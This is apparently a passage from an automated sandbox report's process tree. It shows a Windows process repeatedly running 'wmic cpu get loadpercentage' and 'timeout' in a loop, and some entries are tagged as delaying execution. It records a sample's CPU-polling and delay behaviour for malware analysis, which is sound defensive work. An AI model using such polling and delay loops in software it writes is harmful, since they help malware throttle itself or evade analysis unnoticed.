C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:540
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1336
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4232
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4480
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3940
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1856
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1656
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1776
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3348
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:68
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4556
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1080
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:664
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1352
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1000
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1764
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4104
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1532
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4336
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4136
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2728
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4500
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4864
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4496
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:512
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4704
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4428
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4784
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1468
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3084
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3888
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1420
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:448
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3212
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4192
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4600
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4572
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3984
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4316
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4100
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2160
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2236
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4440
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4272
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:220
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3252
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4892
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1312
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4376
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4452
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1436
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2272
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2352
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4364
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2940
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4476
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1536
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4720
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3412
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4908
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3400
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:208
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2516
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2820
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1372
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4436
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5108
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2776
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1856
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3272
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3008
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3708
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1864
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2896
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4656
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1928
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:764
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1868
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:960
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3288
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2732
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3176
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4552
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3284
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3544
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3488
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4928
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2224
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3516
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4524
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1480
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4428
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1664
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:760
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3512
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3888
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4916
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1420
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4752
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2844
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4192
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1184
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3740
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3832
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3532
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4100
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4788
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3280
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2312
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3636
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4180
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5012
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3252
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3268
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4376
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3036
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4452
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4904
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:64
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4528
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2000
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1584
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4120
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:668
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4908
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4008
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2348
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2516
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4360
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3884
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1844
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:532
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2444
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2960
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1656
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5100
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4056
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4596
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2688
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2188
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4492
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1832
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5064
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1476
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3276
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2732
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1804
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4552
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4188
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:812
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3488
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2388
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4176
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3516
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4156
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3068
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1480
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3896
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:436
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2200
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4888
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3648
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5008
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2320
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3156
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1304
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1184
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5104
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3292
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1188
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2160
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:440
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4084
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4776
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4252
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2736
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:696
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2440
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3232
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3144
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3260
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1340
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2372
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1172
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1208
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2392
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1644
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1924
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2144
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5092
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4712
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4644
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3236
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3552
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4332
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4000
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:216
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3376
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1800
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2352
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3240
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4392
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4476
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5052
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3924
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:316
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3788
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3096
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4948
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2944
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1336
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4640
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5108
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1948
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2960
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2952
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3708
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1380
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1696
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1928
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3000
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4492
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5072
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1652
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3720
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3176
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4552
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1804
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3732
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4152
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1400
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1688
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4256
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4268
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2244
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:528
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3768
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4756
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:760
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4036
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3316
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1456
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5020
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4856
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4192
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4920
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:724
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2980
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:660
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4940
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4316
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:440
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4112
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2236
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4868
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4412
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1224
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1292
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2052
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:920
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3260
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3784
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3584
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1048
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1172
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4148
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1556
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3364
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2176
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2112
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1064
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2972
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3108
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3236
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3420
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3384
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4000
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2128
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4896
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:64
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4528
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4880
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1536
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4720
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2840
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4900
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1608
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4568
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3884
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2944
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4948
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4604
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3580
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4640
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1620
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1072
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2952
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2344
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2500
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2896
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4004
-
-
